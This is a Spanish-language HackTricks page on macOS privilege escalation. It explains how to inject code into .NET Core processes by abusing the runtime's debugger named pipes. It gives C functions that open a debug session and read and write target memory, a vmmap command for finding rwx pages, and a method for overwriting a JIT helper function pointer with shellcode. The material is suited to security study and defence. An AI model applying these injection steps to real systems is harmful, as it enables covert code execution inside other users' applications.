hacktricks/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-.net-applications-injection.md

12 KiB

Inyección de aplicaciones .Net en macOS

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

Depuración de .NET Core

Establecer una sesión de depuración

dbgtransportsession.cpp es responsable de manejar la comunicación entre el depurador y el depurado.
Crea dos tuberías con nombres por proceso .Net en dbgtransportsession.cpp#L127 llamando a twowaypipe.cpp#L27 (uno terminará en -in y el otro en -out y el resto del nombre será el mismo).

Entonces, si vas al directorio $TMPDIR de los usuarios, podrás encontrar fifos de depuración que podrías usar para depurar aplicaciones .Net:

La función DbgTransportSession::TransportWorker manejará la comunicación desde un depurador.

Lo primero que se requiere que haga un depurador es crear una nueva sesión de depuración. Esto se hace enviando un mensaje a través de la tubería out que comienza con una estructura MessageHeader, que podemos obtener del código fuente de .NET:

struct MessageHeader
{
MessageType   m_eType;        // Type of message this is
DWORD         m_cbDataBlock;  // Size of data block that immediately follows this header (can be zero)
DWORD         m_dwId;         // Message ID assigned by the sender of this message
DWORD         m_dwReplyId;    // Message ID that this is a reply to (used by messages such as MT_GetDCB)
DWORD         m_dwLastSeenId; // Message ID last seen by sender (receiver can discard up to here from send queue)
DWORD         m_dwReserved;   // Reserved for future expansion (must be initialized to zero and
// never read)
union {
struct {
DWORD         m_dwMajorVersion;   // Protocol version requested/accepted
DWORD         m_dwMinorVersion;
} VersionInfo;
...
} TypeSpecificData;

BYTE                    m_sMustBeZero[8];
}

En el caso de una solicitud de nueva sesión, esta estructura se completa de la siguiente manera:

static const DWORD kCurrentMajorVersion = 2;
static const DWORD kCurrentMinorVersion = 0;

// Set the message type (in this case, we're establishing a session)
sSendHeader.m_eType = MT_SessionRequest;

// Set the version
sSendHeader.TypeSpecificData.VersionInfo.m_dwMajorVersion = kCurrentMajorVersion;
sSendHeader.TypeSpecificData.VersionInfo.m_dwMinorVersion = kCurrentMinorVersion;

// Finally set the number of bytes which follow this header
sSendHeader.m_cbDataBlock = sizeof(SessionRequestData);

Una vez construido, enviamos esto al objetivo utilizando la llamada al sistema write:

write(wr, &sSendHeader, sizeof(MessageHeader));

Siguiendo nuestro encabezado, necesitamos enviar una estructura sessionRequestData que contiene un GUID para identificar nuestra sesión:

// All '9' is a GUID.. right??
memset(&sDataBlock.m_sSessionID, 9, sizeof(SessionRequestData));

// Send over the session request data
write(wr, &sDataBlock, sizeof(SessionRequestData));

Al enviar nuestra solicitud de sesión, leemos desde la tubería out una cabecera que indicará si nuestra solicitud para establecer una sesión de depuración ha sido exitosa o no:

read(rd, &sReceiveHeader, sizeof(MessageHeader));

Leer memoria

Con una sesión de depuración establecida, es posible leer memoria utilizando el tipo de mensaje MT_ReadMemory. Para leer cierta memoria, el código principal necesario sería:

bool readMemory(void *addr, int len, unsigned char **output) {

*output = (unsigned char *)malloc(len);
if (*output == NULL) {
return false;
}

sSendHeader.m_dwId++; // We increment this for each request
sSendHeader.m_dwLastSeenId = sReceiveHeader.m_dwId; // This needs to be set to the ID of our previous response
sSendHeader.m_dwReplyId = sReceiveHeader.m_dwId; // Similar to above, this indicates which ID we are responding to
sSendHeader.m_eType = MT_ReadMemory; // The type of request we are making
sSendHeader.TypeSpecificData.MemoryAccess.m_pbLeftSideBuffer = (PBYTE)addr; // Address to read from
sSendHeader.TypeSpecificData.MemoryAccess.m_cbLeftSideBuffer = len; // Number of bytes to write
sSendHeader.m_cbDataBlock = 0;

// Write the header
if (write(wr, &sSendHeader, sizeof(sSendHeader)) < 0) {
return false;
}

// Read the response header
if (read(rd, &sReceiveHeader, sizeof(sSendHeader)) < 0) {
return false;
}

// Make sure that memory could be read before we attempt to read further
if (sReceiveHeader.TypeSpecificData.MemoryAccess.m_hrResult != 0) {
return false;
}

memset(*output, 0, len);

// Read the memory from the debugee
if (read(rd, *output, sReceiveHeader.m_cbDataBlock) < 0) {
return false;
}

return true;
}

El código de prueba de concepto (POC) se encuentra aquí.

Escribir en la memoria

bool writeMemory(void *addr, int len, unsigned char *input) {

sSendHeader.m_dwId++; // We increment this for each request
sSendHeader.m_dwLastSeenId = sReceiveHeader.m_dwId; // This needs to be set to the ID of our previous response
sSendHeader.m_dwReplyId = sReceiveHeader.m_dwId; // Similar to above, this indicates which ID we are responding to
sSendHeader.m_eType = MT_WriteMemory; // The type of request we are making
sSendHeader.TypeSpecificData.MemoryAccess.m_pbLeftSideBuffer = (PBYTE)addr; // Address to write to
sSendHeader.TypeSpecificData.MemoryAccess.m_cbLeftSideBuffer = len; // Number of bytes to write
sSendHeader.m_cbDataBlock = len;

// Write the header
if (write(wr, &sSendHeader, sizeof(sSendHeader)) < 0) {
return false;
}

// Write the data
if (write(wr, input, len) < 0) {
return false;
}

// Read the response header
if (read(rd, &sReceiveHeader, sizeof(sSendHeader)) < 0) {
return false;
}

// Ensure our memory write was successful
if (sReceiveHeader.TypeSpecificData.MemoryAccess.m_hrResult != 0) {
return false;
}

return true;

}

El código POC utilizado para hacer esto se puede encontrar aquí.

Ejecución de código .NET Core

Lo primero es identificar, por ejemplo, una región de memoria con permisos rwx en ejecución para guardar el shellcode a ejecutar. Esto se puede hacer fácilmente con:

vmmap -pages [pid]
vmmap -pages 35829 | grep "rwx/rwx"

Entonces, para activar la ejecución, sería necesario conocer algún lugar donde se almacena un puntero de función para sobrescribirlo. Es posible sobrescribir un puntero dentro de la Tabla de Funciones Dinámicas (DFT), que es utilizada por el tiempo de ejecución de .NET Core para proporcionar funciones auxiliares para la compilación JIT. Una lista de punteros de función admitidos se puede encontrar en jithelpers.h.

En las versiones x64, esto es sencillo utilizando la técnica de búsqueda de firmas al estilo de mimikatz para buscar en libcorclr.dll una referencia al símbolo _hlpDynamicFuncTable, al cual podemos desreferenciar:

Lo único que queda por hacer es encontrar una dirección desde la cual comenzar nuestra búsqueda de firmas. Para hacer esto, aprovechamos otra función de depuración expuesta, MT_GetDCB. Esto devuelve una serie de bits de información útiles sobre el proceso objetivo, pero en nuestro caso, nos interesa un campo que contiene la dirección de una función auxiliar, m_helperRemoteStartAddr. Utilizando esta dirección, sabemos exactamente dónde se encuentra libcorclr.dll en la memoria del proceso objetivo y podemos comenzar nuestra búsqueda de la DFT.

Conociendo esta dirección, es posible sobrescribir el puntero de función con nuestro propio código shell.

El código POC completo utilizado para la inyección en PowerShell se puede encontrar aquí.

Referencias

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥